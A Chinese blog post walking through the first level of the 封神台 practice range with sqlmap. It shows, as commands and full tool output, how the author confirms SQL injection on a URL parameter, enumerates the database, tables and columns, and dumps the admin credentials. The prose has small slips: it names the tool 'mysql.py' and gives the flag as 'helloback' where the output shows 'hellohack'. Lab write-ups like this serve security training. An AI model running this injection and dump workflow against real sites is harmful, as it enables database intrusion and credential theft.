如何使用sqlmap破解封神台靶场第一关

原创

AdamZx 于 2020-12-17 10:52:35 发布 815 收藏 4

分类专栏： sqlmap

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_44490353/article/details/111308759

版权

sqlmap 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

文章目录

一.查看是否有注入

二.查找当前数据库

三.查询数据库的表

四.查询表中的列

五.查询具体内容

一.查看是否有注入

使用命令 mysql.py -u http://59.63.200.79:8003/?id=1 --batch

-u指令为查看网址的url是否有漏洞。-batch为永远不要求用户输入信息，默认执行。

```
C:\Users\adamZ\Downloads\sqlmapproject-sqlmap-1.4.12-11-g12158af\sqlmapproject-s
qlmap-12158af>sqlmap.py -u http://59.63.200.79:8003/?id=1 -batch
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.4.12.10#dev}
|_ -| . [,]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting @ 09:48:09 /2020-12-17/

[09:48:09] [INFO] resuming back-end DBMS 'mysql'
[09:48:09] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7634=7634

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
    Payload: id=1 OR SLEEP(5)
---
[09:48:09] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[09:48:09] [INFO] fetched data logged to text files under 'C:\Users\adamZ\AppDat
a\Local\sqlmap\output\59.63.200.79'

[*] ending @ 09:48:09 /2020-12-17/
```

https://blog.csdn.net/weixin_4449035

我们可以看到，存在sql注入漏洞。

二.查找当前数据库

mysql.py -u http://59.63.200.79:8003/?id=1 -current-db -batch

-cuurent-db 意思为查找当前的数据库信息，也可以用-dbs查找所有的数据库。

```
管理员: C:\Windows\system32\cmd.exe

C:\Users\adamZ\Downloads\sqlmapproject-sqlmap-1.4.12-11-g12158af\sqlmapproject-s
qlmap-12158af>sqlmap.py -u http://59.63.200.79:8003/?id=1 -current-db -batch
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.12.10#dev}
|_ -| . [>]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting @ 09:55:05 /2020-12-17/

[09:55:06] [INFO] resuming back-end DBMS 'mysql'
[09:55:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7634=7634

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
    Payload: id=1 OR SLEEP(5)
---
[09:55:06] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[09:55:06] [INFO] fetching current database
[09:55:06] [INFO] resumed: maoshe
current database: 'maoshe'
[09:55:06] [INFO] fetched data logged to text files under 'C:\Users\adamZ\AppDat
a\Local\sqlmap\output\59.63.200.79'

[*] ending @ 09:55:06 /2020-12-17/


C:\Users\adamZ\Downloads\sqlmapproject-sqlmap-1.4.12-11-g12158af\sqlmapproject-s
qlmap-12158af>_
```

https://blog.csdn.net/weixin_4449035

三.查询数据库的表

上面我们已知当前数据库为 maoshe，所以我们指定数据库查询表。

mysql.py -u http://59.63.200.79:8003/?id=1 -D “maoshe” -tables -batch

-D为指定数据库 -tables为查询当前数据库所在的表。

```
C:\Users\adamZ\Downloads\sqlmapproject-sqlmap-1.4.12-11-g12158af\sqlmapproject-s
qlmap-12158af>sqlmap.py -u http://59.63.200.79:8003/?id=1 -D "maoshe" -tables -b
atch
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.12.10#dev}
|_ -| . ["]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting @ 10:10:25 /2020-12-17/

[10:10:25] [INFO] resuming back-end DBMS 'mysql'
[10:10:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7634=7634

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
    Payload: id=1 OR SLEEP(5)
---
[10:10:25] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[10:10:25] [INFO] fetching tables for database: 'maoshe'
[10:10:25] [INFO] fetching number of tables for database 'maoshe'
[10:10:25] [INFO] resumed: 4
[10:10:25] [INFO] resumed: admin
[10:10:25] [INFO] resumed: dirs
[10:10:25] [INFO] resumed: news
[10:10:25] [INFO] resumed: xss
Database: maoshe
[4 tables]
+-------+
| admin |
| dirs  |
| news  |
| xss   |
+-------+

[10:10:25] [INFO] fetched data logged to text files under 'C:\Users\adamZ\AppDat
a\Local\sqlmap\output\59.63.200.79'

[*] ending @ 10:10:25 /2020-12-17/
```

https://blog.csdn.net/weixin_44490353

得出查询到的当前数据库表为admin dirs news xss4个。

四.查询表中的列

一般管理员的帐号密码都会在admin里面，所以我们可以查看下admin里面的字段。

mysql.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin -columns -batch

这里的-t为指定表，然后使用-columns 查看字段名称

```
管理员: C:\Windows\system32\cmd.exe
C:\Users\adamZ\Downloads\sqlmapproject-sqlmap-1.4.12-11-g12158af\sqlmapproject-s
qlmap-12158af>sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin -co
lumns -batch
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.4.12.10#dev}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting @ 10:36:43 /2020-12-17/

[10:36:44] [INFO] resuming back-end DBMS 'mysql'
[10:36:44] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7634=7634

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
    Payload: id=1 OR SLEEP(5)
---
[10:36:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[10:36:44] [INFO] fetching columns for table 'admin' in database 'maoshe'
[10:36:44] [INFO] resumed: 3
[10:36:44] [INFO] resumed: Id
[10:36:44] [INFO] resumed: int(11)
[10:36:44] [INFO] resumed: username
[10:36:44] [INFO] resumed: varchar(11)
[10:36:44] [INFO] resumed: password
[10:36:44] [INFO] resumed: varchar(11)
Database: maoshe
Table: admin
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| Id       | int(11)     |
| password | varchar(11) |
| username | varchar(11) |
+----------+-------------+

[10:36:44] [INFO] fetched data logged to text files under 'C:\Users\adamZ\AppDat
a\Local\sqlmap\output\59.63.200.79'

[*] ending @ 10:36:44 /2020-12-17/


C:\Users\adamZ\Downloads\sqlmapproject-sqlmap-1.4.12-11-g12158af\sqlmapproject-s
qlmap-12158af>_
```

https://blog.csdn.net/weixin_44449035

我们可以得知，字段名称为id，password，username三个。所以我们提取username和password就可以了。

五.查询具体内容

使用 mysql.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin -C “username,password” -dump -batch

这里的-C为指定字段名称，-dump代表查询出字段。

```
管理员: C:\Windows\system32\cmd.exe

C:\Users\adamZ\Downloads\sqlmapproject-sqlmap-1.4.12-11-g12158af\sqlmapproject-s
qlmap-12158af>sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin -C
"username,password" -dump -batch
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.4.12.10#dev}
|_ -| . [.]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
 consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program

[*] starting @ 10:46:10 /2020-12-17/

[10:46:10] [INFO] resuming back-end DBMS 'mysql'
[10:46:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7634=7634

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
    Payload: id=1 OR SLEEP(5)
---
[10:46:10] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[10:46:10] [INFO] fetching entries of column(s) 'password,username' for table 'a
dmin' in database 'maoshe'
[10:46:10] [INFO] fetching number of column(s) 'password,username' entries for t
able 'admin' in database 'maoshe'
[10:46:10] [INFO] resumed: 2
[10:46:10] [INFO] resumed: hellohack
[10:46:10] [INFO] resumed: admin
[10:46:10] [INFO] resumed: zkaqbanban
[10:46:10] [INFO] resumed: ppt领取微信
Database: maoshe
Table: admin
[2 entries]
+----------+------------+
| username | password   |
+----------+------------+
| admin    | hellohack  |
| ppt领取微信 | zkaqbanban |
+----------+------------+

[10:46:10] [INFO] table 'maoshe.admin' dumped to CSV file 'C:\Users\adamZ\AppDat
a\Local\sqlmap\output\59.63.200.79\dump\maoshe\admin.csv'
[10:46:10] [INFO] fetched data logged to text files under 'C:\Users\adamZ\AppDat
a\Local\sqlmap\output\59.63.200.79'
```

https://blog.csdn.net/weixin_44490356

最后我们得出admin密码为helloback，这个就是本题的flag。